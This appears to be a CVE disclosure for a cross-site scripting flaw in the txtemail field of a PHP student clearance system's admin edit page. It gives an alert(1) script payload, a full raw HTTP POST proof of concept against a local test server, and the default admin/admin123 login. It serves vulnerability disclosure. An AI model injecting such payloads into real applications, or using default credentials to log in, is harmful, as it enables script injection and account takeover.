CVE-2022-43076: CVE_Hunter/XSS-1.md at main · Tr0e/CVE_Hunter

Vulnerability Description

Web-Based Student Clearance System in PHP Free Source Code v1.0 was discovered to contain a cross-site scripting (XSS) vulnerability via the componentedit-admin.php. It is an open source project from https://www.sourcecodester.com/. This vulnerability allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the txtemail parameter.

1. BUG_Author: Tr0e

2. vendors: Web-Based Student Clearance System in PHP Free Source Code;

3. The program is built using the xmapp/v3.3.0 and PHP/8.1.10 version;

4. Vulnerability location: /student_clearance_system_Aurthur_Javis/admin/edit-admin.php

Vulnerability Verification

[+] Payload:

"><script>alert(1)</script>

POC：

POST http://192.168.0.111:91/student_clearance_system_Aurthur_Javis/admin/edit-admin.php?id=4 HTTP/1.1 Host: 192.168.0.111:91 Content-Length: 486 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://192.168.0.111:91 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryZuvZCgQkb37Jezph User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://192.168.0.111:91/student_clearance_system_Aurthur_Javis/admin/edit-admin.php?id=4 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 Cookie: PHPSESSID=e8pdd3dv0b39d1h4vcj99q01cq Connection: close

------WebKitFormBoundaryZuvZCgQkb37Jezph Content-Disposition: form-data; name="txtfullname"

EKE, EMMANUEL EFA-EVAL ------WebKitFormBoundaryZuvZCgQkb37Jezph Content-Disposition: form-data; name="txtemail"

“><script>alert(1)</script> ------WebKitFormBoundaryZuvZCgQkb37Jezph Content-Disposition: form-data; name="cmddesignation” Admin ------WebKitFormBoundaryZuvZCgQkb37Jezph Content-Disposition: form-data; name="btnedit"

------WebKitFormBoundaryZuvZCgQkb37Jezph–

How to verify

Build the vulnerability environment according to the steps provided by the source code author (Log in with the default account and password:admin/admin123) and execute the Payload provided above.

The vulnerability lies in the “User Manager - User Record - Action - Edit” function, you shuold inserts Payload when editing administrator user information，as shown in the following figure：